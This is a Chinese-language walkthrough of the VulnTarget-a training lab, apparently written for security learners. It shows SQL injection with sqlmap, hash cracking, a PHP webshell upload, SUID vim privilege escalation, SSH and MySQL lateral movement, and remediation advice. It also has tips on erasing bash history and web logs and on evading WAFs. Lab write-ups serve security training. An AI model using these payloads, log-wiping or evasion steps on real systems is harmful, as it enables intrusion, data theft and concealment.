1. VulnTarget-a靶场渗透测试概述
VulnTarget-a是一个专门为网络安全学习者设计的渗透测试实战环境。这个靶场模拟了企业级网络中常见的漏洞场景,包含Web应用漏洞、系统漏洞、网络服务漏洞等多种安全风险点。作为安全从业者,我最近完整走通了该靶场的全部关卡,现将实战过程中的技术细节和思考路径整理成这份报告。
与DVWA、Pikachu等知名靶场相比,VulnTarget-a的特色在于其漏洞场景更贴近真实企业环境,漏洞利用链设计更为复杂。靶场中不仅包含SQL注入、XSS等基础Web漏洞,还涉及中间件配置不当、权限提升、横向移动等中高级渗透技术点。整个环境采用docker-compose部署,包含5台互联的主机,模拟了小型企业网络架构。
2. 环境搭建与初始信息收集
2.1 靶场环境部署
VulnTarget-a官方提供了完整的docker部署方案。在Ubuntu 20.04系统上,安装流程如下:
# 安装docker和docker-compose sudo apt update sudo apt install docker.io docker-compose -y # 下载靶场环境 git clone https://github.com/vulntarget/vulntarget-a.git cd vulntarget-a # 启动环境 docker-compose up -d环境启动后,会监听以下关键端口:
- 192.168.1.100:80 (Web应用)
- 192.168.1.110:3306 (MySQL数据库)
- 192.168.1.120:445 (SMB服务)
- 192.168.1.130:22 (SSH服务)
注意:实际IP可能因网络配置而异,建议使用
docker network inspect vulntarget-a_default查看具体分配情况
2.2 信息收集阶段
使用Nmap进行初步扫描:
nmap -sV -T4 -p- 192.168.1.100扫描结果显示Web服务器运行着Apache 2.4.38和PHP 7.3.5,存在以下关键路径:
- /index.php (登录页面)
- /news.php (新闻展示)
- /admin/ (后台管理)
- /upload/ (文件上传功能)
通过目录爆破发现robots.txt文件,其中包含敏感路径提示:
Disallow: /backup/ Disallow: /config/3. Web应用漏洞挖掘与利用
3.1 SQL注入漏洞利用
在/news.php页面发现id参数存在数字型注入:
http://192.168.1.100/news.php?id=1使用sqlmap自动化检测:
sqlmap -u "http://192.168.1.100/news.php?id=1" --risk=3 --level=5 --dbs成功获取数据库信息:
- 数据库名:vulntarget
- 表名:users,news,config
- 关键字段:username,password(加密)
通过分析发现密码采用md5加密,使用john破解:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt获得管理员凭证:
admin:admin1233.2 文件上传漏洞利用
登录后台后,在/upload/路径发现未过滤的文件上传功能。制作PHP webshell:
<?php system($_GET['cmd']);?>使用burp修改Content-Type绕过:
Content-Type: image/jpeg上传成功后访问:
http://192.168.1.100/upload/shell.php?cmd=id获得www-data权限的shell。
4. 权限提升与横向移动
4.1 系统权限提升
在Web服务器上发现SUID权限异常的vim:
find / -perm -4000 2>/dev/null利用vim提权:
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'获得root权限后,在/root目录发现ssh私钥:
-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA3Xo6S... -----END RSA PRIVATE KEY-----4.2 内网横向渗透
使用获取的私钥登录192.168.1.130:
chmod 600 id_rsa ssh -i id_rsa root@192.168.1.130在该主机发现MySQL凭证:
cat /var/www/html/config.php连接192.168.1.110的MySQL服务:
mysql -h 192.168.1.110 -u dbuser -p'dbpass123'导出敏感数据:
SELECT * FROM vulntarget.users INTO OUTFILE '/tmp/users.csv';5. 漏洞修复建议
5.1 Web应用层修复
SQL注入防护:
- 使用预处理语句(PDO)
- 输入参数白名单验证
- 最小权限原则配置数据库账户
文件上传安全:
- 文件内容检测(非仅扩展名)
- 上传目录禁用脚本执行
- 随机化文件名存储
5.2 系统层加固
权限控制:
- 移除不必要的SUID权限
- 实施最小特权原则
- 定期审计sudo配置
网络隔离:
- 数据库服务不应暴露在办公网络
- 实施VLAN划分
- 配置严格的防火墙规则
6. 渗透测试中的实用技巧
密码破解优化:
- 先尝试top1000常用密码
- 结合hashcat规则进行变形破解
- 利用GPU加速破解过程
内网信息收集:
# 快速扫描内网存活主机 for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done # 检查ARP缓存 arp -a痕迹清理:
- 删除.bash_history
- 清除web日志
echo "" > /var/log/apache2/access.log
在实际渗透过程中,每个环节都可能遇到意外情况。比如在VulnTarget-a中就遇到了非常规的WAF拦截,此时需要:
- 降低扫描频率
- 修改User-Agent头
- 尝试编码绕过技术(如双重URL编码)